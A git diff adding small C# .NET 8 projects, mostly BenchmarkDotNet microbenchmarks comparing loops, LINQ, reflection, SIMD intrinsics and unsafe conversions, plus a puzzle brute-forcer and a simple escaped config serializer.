0000000..f875015 --- /dev/null +++ b/csharp/E061-LoopVsWhereBenchmarks/E061-LoopVsWhereBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E061_LoopVsWhereBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E061-LoopVsWhereBenchmarks/Program.cs b/csharp/E061-LoopVsWhereBenchmarks/Program.cs new file mode 100644 index 0000000..e204276 --- /dev/null +++ b/csharp/E061-LoopVsWhereBenchmarks/Program.cs @@ -0,0 +1,102 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LoopVsWhereBenchmarks +{ + private const string Input = "This is a test hello world 01234\n"; + + [Benchmark] + [Arguments(Input)] + public string Loop_WithPatternMatch_Concat(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] is > 'm' or < 'a') + { + errors++; + } + } + + return errors + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Loop_WithPatternMatch_Interpolate(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] is > 'm' or < 'a') + { + errors++; + } + } + + return $"{errors}/{input.Length}"; + } + + [Benchmark] + [Arguments(Input)] + public string Loop_WithOrOperator_Concat(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] > 'm' || input[i] < 'a') + { + errors++; + } + } + + return errors + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Loop_WithOrOperator_Interpolate(string input) + { + var errors = 0; + for (var i = 0; i < input.Length; i++) + { + if (input[i] > 'm' || input[i] < 'a') + { + errors++; + } + } + + return $"{errors}/{input.Length}"; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithPatternMatch_Concat(string input) + { + return input.Count(c => c is > 'm' or < 'a') + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithPatternMatch_Interpolate(string input) + { + return $"{input.Count(c => c is > 'm' or < 'a')}/{input.Length}"; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithOrOperator_Concat(string input) + { + return input.Count(c => c > 'm' || c < 'a') + "/" + input.Length; + } + + [Benchmark] + [Arguments(Input)] + public string Count_WithOrOperator_Interpolate(string input) + { + return $"{input.Count(c => c > 'm' || c < 'a')}/{input.Length}"; + } +} diff --git a/csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj b/csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj new file mode 100644 index 0000000..0788f5d --- /dev/null +++ b/csharp/E062-LoopVsCountBenchmarks/E062-LoopVsCountBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E062_LoopVsCountBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E062-LoopVsCountBenchmarks/Program.cs b/csharp/E062-LoopVsCountBenchmarks/Program.cs new file mode 100644 index 0000000..9c3f888 --- /dev/null +++ b/csharp/E062-LoopVsCountBenchmarks/Program.cs @@ -0,0 +1,33 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LoopVsCountBenchmarks +{ + private static readonly Random Random = new(); + private readonly bool[] _array = Enumerable.Range(1, 1000000).Select(_ => Random.NextDouble() > 0.5).ToArray(); + + [Benchmark] + public int Loop() + { + var count = 0; + + foreach (bool item in _array) + { + if (item) + { + count++; + } + } + + return count; + } + + [Benchmark] + public int Count() + { + return _array.Count(item => item); + } +} diff --git a/csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj b/csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj new file mode 100644 index 0000000..fffeb95 --- /dev/null +++ b/csharp/E063-LinqVsNoLinqBenchmarks/E063-LinqVsNoLinqBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E063_LinqVsNoLinqBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E063-LinqVsNoLinqBenchmarks/Program.cs b/csharp/E063-LinqVsNoLinqBenchmarks/Program.cs new file mode 100644 index 0000000..bc8f356 --- /dev/null +++ b/csharp/E063-LinqVsNoLinqBenchmarks/Program.cs @@ -0,0 +1,47 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class LinqVsNoLinqBenchmarks +{ + private readonly List _users = new(); + + [GlobalSetup] + public void Setup() + { + _users.Clear(); + for (var index = 0; index < 500_000; index++) + { + _users.Add(new User { Id = index.ToString() }); + } + } + + [Benchmark] + public int Linq() + { + return _users.Where(u => u.Id == "10").Select(u => int.Parse(u.Id)).Sum(); + } + + [Benchmark] + public int Loop() + { + var total = 0; + + for (var index = 0; index < _users.Count; index++) + { + string id = _users[index].Id; + + if (id == "10") + total += int.Parse(id); + } + + return total; + } + + private class User + { + public string Id { get; init; } + } +} diff --git a/csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj b/csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj new file mode 100644 index 0000000..1baa435 --- /dev/null +++ b/csharp/E064-DynamicVsReflectionBenchmarks/E064-DynamicVsReflectionBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E064_DynamicVsReflection + enable + enable + + + + + + + diff --git a/csharp/E064-DynamicVsReflectionBenchmarks/Program.cs b/csharp/E064-DynamicVsReflectionBenchmarks/Program.cs new file mode 100644 index 0000000..1730346 --- /dev/null +++ b/csharp/E064-DynamicVsReflectionBenchmarks/Program.cs @@ -0,0 +1,29 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DynamicVsReflectionBenchmarks +{ + [Benchmark] + public int Normal() + { + var s = "Hello World"; + return s.Length; + } + + [Benchmark] + public int Dynamic() + { + dynamic s = "Hello World"; + return s.Length; + } + + [Benchmark] + public int Reflection() + { + var s = "Hello World"; + return (int)typeof(string).GetProperty("Length").GetValue(s); + } +} diff --git a/csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj b/csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj new file mode 100644 index 0000000..f6f96e7 --- /dev/null +++ b/csharp/E065-DiacriticBenchmarks/E065-DiacriticBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E065_DiacriticBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E065-DiacriticBenchmarks/Program.cs b/csharp/E065-DiacriticBenchmarks/Program.cs new file mode 100644 index 0000000..624a8f7 --- /dev/null +++ b/csharp/E065-DiacriticBenchmarks/Program.cs @@ -0,0 +1,65 @@ +using System.Globalization; +using System.Text; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class DiacriticBenchmarks +{ + private const string Sample = "ἠἡὀὁἱἰὠὡἐἑὑὐᾐ"; + + [Benchmark] + [Arguments(Sample)] + public string StackOverflow_RemoveDiacritics(string input) + { + string normalizedString = input.Normalize(NormalizationForm.FormD); + var stringBuilder = new StringBuilder(capacity: normalizedString.Length); + + for (var i = 0; i < normalizedString.Length; i++) + { + char c = normalizedString[i]; + UnicodeCategory unicodeCategory = CharUnicodeInfo.GetUnicodeCategory(c); + if (unicodeCategory != UnicodeCategory.NonSpacingMark) + { + stringBuilder.Append(c); + } + } + + return stringBuilder.ToString().Normalize(NormalizationForm.FormC); + } + + [Benchmark] + [Arguments(Sample)] + public string Boas_RemoveSpiritus(string input) + { + string output = MyReplace(input, "ἀἁ", "α"); + output = MyReplace(output, "ἠἡ", "η"); + output = MyReplace(output, "ὀὁ", "ο"); + output = MyReplace(output, "ἱἰ", "ι"); + output = MyReplace(output, "ὠὡ", "ω"); + output = MyReplace(output, "ἐἑ", "ε"); + output = MyReplace(output, "ὑὐ", "υ"); + output = MyReplace(output, "ᾐ", "ῃ"); + return output; + } + + private string MyReplace(string input, string pattern, string replacement) + { + var sb = new StringBuilder(); + foreach (char t in input) + { + if (!pattern.Contains(t)) + { + sb.Append(t); + } + else + { + sb.Append(replacement); + } + } + + return sb.ToString(); + } +} diff --git a/csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj b/csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj new file mode 100644 index 0000000..7dfd54a --- /dev/null +++ b/csharp/E066-ArrayVsListBenchmarks/E066-ArrayVsListBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E066_ArrayVsListBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E066-ArrayVsListBenchmarks/Program.cs b/csharp/E066-ArrayVsListBenchmarks/Program.cs new file mode 100644 index 0000000..45024bd --- /dev/null +++ b/csharp/E066-ArrayVsListBenchmarks/Program.cs @@ -0,0 +1,72 @@ +using System.Diagnostics; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class ArrayVsList +{ + private const int Size = 1_000_000; + private int[] _array; + private List _list; + + [GlobalSetup] + public void Setup() + { + var random = new Random(); + + _array = new int[Size]; + _list = new List(Size); + + for (var index = 0; index < Size; index++) + { + int value = random.Next(); + _array[index] = value; + _list.Add(value); + } + + Trace.Assert(_array.Length == Size); + Trace.Assert(_list.Count == Size); + } + + [Benchmark] + public int TotalOfArray() + { + var total = 0; + for (var index = 0; index < Size; index++) + { + total += _array[index]; + } + return total; + } + + [Benchmark] + public int TotalOfList() + { + var total = 0; + for (var index = 0; index < Size; index++) + { + total += _list[index]; + } + return total; + } + + [Benchmark] + public void SetArrayToZero() + { + for (var index = 0; index < Size; index++) + { + _array[index] = 0; + } + } + + [Benchmark] + public void SetListToZero() + { + for (var index = 0; index < Size; index++) + { + _list[index] = 0; + } + } +} diff --git a/csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj b/csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj new file mode 100644 index 0000000..2bfdbc9 --- /dev/null +++ b/csharp/E067-FacebookMathProblem/E067-FacebookMathProblem.csproj @@ -0,0 +1,11 @@ + + + + Exe + net8.0 + E067_FacebookMathProblem + enable + enable + + + diff --git a/csharp/E067-FacebookMathProblem/Program.cs b/csharp/E067-FacebookMathProblem/Program.cs new file mode 100644 index 0000000..9bf2c03 --- /dev/null +++ b/csharp/E067-FacebookMathProblem/Program.cs @@ -0,0 +1,18 @@ +var total = 0; + +for (var a = 1; a <= 98; a++) +for (var b = 1; b <= 98; b++) +for (var c = 1; c <= 98; c++) +{ + Console.Title = $"{++total:N0} completed"; + + if (a <= 2 * b) continue; + if (3 * b <= 4 * c) continue; + if (3 * c <= a) continue; + + if (a + b + c == 100) + Console.WriteLine($"Found {a} + {b} + {c} = 100"); +} + +Console.WriteLine("All combinations exhausted"); +Console.ReadLine(); diff --git a/csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj b/csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj new file mode 100644 index 0000000..86f5162 --- /dev/null +++ b/csharp/E068-SseBenchmarks/E068-SseBenchmarks.csproj @@ -0,0 +1,16 @@ + + + + Exe + net8.0 + E068_SseBenchmarks + enable + enable + true + + + + + + + diff --git a/csharp/E068-SseBenchmarks/Program.cs b/csharp/E068-SseBenchmarks/Program.cs new file mode 100644 index 0000000..2e17384 --- /dev/null +++ b/csharp/E068-SseBenchmarks/Program.cs @@ -0,0 +1,49 @@ +using System.Runtime.Intrinsics; +using System.Runtime.Intrinsics.X86; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class SseBenchmarks +{ + private readonly int[] _firstArray = { 1, 2, 3, 4 }; + private readonly int[] _secondArray = { 5, 6, 7, 8 }; + + [Benchmark] + public int[] ClassicLoop() + { + var result = new int[4]; + + for (var index = 0; index < _firstArray.Length; index++) + { + result[index] = _firstArray[index] + _secondArray[index]; + } + + return result; + } + + [Benchmark] + public int[] Vectorized() + { + var result = new int[4]; + + unsafe + { + fixed (int* ap = _firstArray, bp = _secondArray, rp = result) + { + int vectorCount = _firstArray.Length / Vector128.Count; + for (var i = 0; i < vectorCount; i++) + { + Vector128 v1 = Sse2.LoadVector128(ap + i); + Vector128 v2 = Sse2.LoadVector128(bp + i); + Vector128 sum = Sse2.Add(v1, v2); + Sse2.Store(rp + i, sum); + } + } + } + + return result; + } +} diff --git a/csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj b/csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj new file mode 100644 index 0000000..422e24c --- /dev/null +++ b/csharp/E069-IntegerToDecimalBenchmarks/E069-IntegerToDecimalBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E069_IntegerToDecimalBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E069-IntegerToDecimalBenchmarks/Program.cs b/csharp/E069-IntegerToDecimalBenchmarks/Program.cs new file mode 100644 index 0000000..06c8931 --- /dev/null +++ b/csharp/E069-IntegerToDecimalBenchmarks/Program.cs @@ -0,0 +1,29 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class IntegerToDecimalBenchmarks +{ + private const int Value = 69_420; // nice, and blaze it + + [Benchmark] + [Arguments(Value)] + public float UsingToStringAndParse(int value) + { + return float.Parse($"0.{value}"); + } + + [Benchmark] + [Arguments(Value)] + public float UsingDivide(int value) + { + if (value == 0) + { + return 0; + } + + return value / MathF.Pow(10, MathF.Floor(MathF.Log10(MathF.Abs(value))) + 1); + } +} diff --git a/csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj b/csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj new file mode 100644 index 0000000..458efb6 --- /dev/null +++ b/csharp/E070-TimeSpanConversionBenchmarks/E070-TimeSpanConversionBenchmarks.csproj @@ -0,0 +1,16 @@ + + + + Exe + net8.0 + E070_TimeSpanConversionBenchmarks + enable + enable + true + + + + + + + diff --git a/csharp/E070-TimeSpanConversionBenchmarks/Program.cs b/csharp/E070-TimeSpanConversionBenchmarks/Program.cs new file mode 100644 index 0000000..f12aca5 --- /dev/null +++ b/csharp/E070-TimeSpanConversionBenchmarks/Program.cs @@ -0,0 +1,89 @@ +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class TimeSpanConversionBenchmarks +{ + private readonly long[] _ticks = new long[1_000_000]; + + [GlobalSetup] + public void Setup() + { + var random = new Random(); + + for (var i = 0; i < _ticks.Length; i++) + { + _ticks[i] = random.NextInt64(); + } + } + + [Benchmark] + public TimeSpan[] UsingConstructor() + { + var times = new TimeSpan[_ticks.Length]; + + for (var i = 0; i < _ticks.Length; i++) + { + times[i] = new TimeSpan(_ticks[i]); + } + + return times; + } + + [Benchmark] + public TimeSpan[] UsingUnsafe() + { + var times = new TimeSpan[_ticks.Length]; + + unsafe + { + fixed (long* l = _ticks) + fixed (TimeSpan* ts = times) + { + long* pTicks = l; + TimeSpan* pTimeSpan = ts; + + for (var i = 0; i < _ticks.Length; i++) + { + *pTimeSpan = Unsafe.As(ref *pTicks); + pTicks++; + pTimeSpan++; + } + } + } + + return times; + } + + [Benchmark] + public TimeSpan[] UsingRealitysUnsafe() + { + var times = new TimeSpan[_ticks.Length]; + + unsafe + { + fixed (long* l = _ticks) + fixed (TimeSpan* ts = times) + { + for (var i = 0; i < _ticks.Length; i++) + { + Unsafe.Write(ts + i, *(l + i)); + } + } + } + + return times; + } + + [Benchmark] + public TimeSpan[] UsingMemoryMarshal() + { + var times = new TimeSpan[_ticks.Length]; + _ticks.CopyTo(MemoryMarshal.Cast(times)); + return times; + } +} diff --git a/csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj b/csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj new file mode 100644 index 0000000..5e17fad --- /dev/null +++ b/csharp/E071-Thev2AndySerializer/E071-Thev2AndySerializer.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E071_Thev2AndySerializer + enable + enable + + + + + + + diff --git a/csharp/E071-Thev2AndySerializer/Program.cs b/csharp/E071-Thev2AndySerializer/Program.cs new file mode 100644 index 0000000..e597c39 --- /dev/null +++ b/csharp/E071-Thev2AndySerializer/Program.cs @@ -0,0 +1,147 @@ +using System.Text; +using Cysharp.Text; + +// placeholder config map +var dictionary = new Dictionary +{ + { "Foo", "${Dollar}{Newline}" } +}; + +using var stream = new MemoryStream(); + +// serialize +Serialize(stream, dictionary); +Console.WriteLine(Encoding.UTF8.GetString(stream.ToArray())); + +// deserialize back +stream.Position = 0; // reset stream position +Dictionary deserialized = Deserialize(stream); + +// print deserialized to see if it worked +foreach ((string key, string value) in deserialized) +{ + Console.WriteLine($"Key: {key} Value: {value}"); +} + +return; + +static Dictionary Deserialize(Stream stream) +{ + var dictionary = new Dictionary(); + using var reader = new StreamReader(stream, Encoding.UTF8, leaveOpen: true); + + while (!reader.EndOfStream) + { + ReadOnlySpan line = reader.ReadLine().AsSpan(); + + int equalsIndex = line.IndexOf('='); + if (equalsIndex == -1) + { + throw new FormatException("Invalid format"); + } + + ReadOnlySpan key = line[..equalsIndex]; + ReadOnlySpan value = line[(equalsIndex + 1)..]; + + dictionary.Add(ReadToken(key), ReadToken(value)); + } + + return dictionary; +} + +static string ReadToken(ReadOnlySpan token) +{ + using Utf8ValueStringBuilder buffer = ZString.CreateUtf8StringBuilder(); + using Utf8ValueStringBuilder tokenBuffer = ZString.CreateUtf8StringBuilder(); + var insideEscape = false; + + for (var index = 0; index < token.Length; index++) + { + char current = token[index]; + switch (current) + { + case '$' when !insideEscape && index + 1 < token.Length && token[index + 1] == '{': + insideEscape = true; + index++; // skip next { + break; + + case '}' when insideEscape: + insideEscape = false; // end of sequence + buffer.Append(CreateToken(tokenBuffer.AsSpan())); + tokenBuffer.Clear(); + break; + + case var _ when insideEscape: + tokenBuffer.Append(current); + break; + + default: + buffer.Append(current); + break; + } + } + + if (insideEscape) + { + throw new FormatException("Invalid escape sequence"); + } + + return buffer.ToString(); +} + +static string CreateToken(ReadOnlySpan escaped) +{ + Span chars = stackalloc char[escaped.Length]; + Encoding.UTF8.GetChars(escaped, chars); + + return chars switch + { + "Newline" => "\n", + "Dollar" => "$", + "Equals" => "=", + _ => throw new FormatException("Invalid escape sequence") + }; +} + +static void Serialize(Stream destination, Dictionary config) +{ + using var writer = new StreamWriter(destination, Encoding.UTF8, leaveOpen: true); + + foreach ((string key, string value) in config) + { + WriteToken(writer, key); + writer.Write('='); + WriteToken(writer, value); + writer.WriteLine(); + } +} + +static void WriteToken(TextWriter writer, ReadOnlySpan token) +{ + for (var index = 0; index < token.Length; index++) + { + char current = token[index]; + switch (current) + { + case '=': + writer.Write("${Equals}"); + break; + + case '$': + writer.Write("${Dollar}"); + break; + + case '\r': + // discard, we can handle this with \n branch + break; + + case '\n': + writer.Write("${Newline}"); + break; + + default: + writer.Write(current); + break; + } + } +} diff --git a/csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj b/csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj new file mode 100644 index 0000000..2b5fd6c --- /dev/null +++ b/csharp/E072-StringBenchmarks/E072-StringBenchmarks.csproj @@ -0,0 +1,15 @@ + + + + Exe + net8.0 + E072_StringBenchmarks + enable + enable + + + + + + + diff --git a/csharp/E072-StringBenchmarks/Program.cs b/csharp/E072-StringBenchmarks/Program.cs new file mode 100644 index 0000000..b87bd91 --- /dev/null +++ b/csharp/E072-StringBenchmarks/Program.cs @@ -0,0 +1,15 @@ +using BenchmarkDotNet.Attributes; +using BenchmarkDotNet.Running; + +BenchmarkRunner.Run(); + +[SimpleJob, MemoryDiagnoser(false)] +public class StringBenchmarks +{ + [Benchmark] + public string AllocEmptyString() + { + var chars = ReadOnlySpan.Empty; + return new string(chars); + } +} diff --git a/csharp/global.json b/csharp/global.json new file mode 100644 index 0000000..2ddda36 --- /dev/null +++ b/csharp/global.json @@ -0,0 +1,7 @@ +{ + "sdk": { + "version": "8.0.0", + "rollForward": "latestMinor", + "allowPrerelease": false + } +} \ No newline at end of file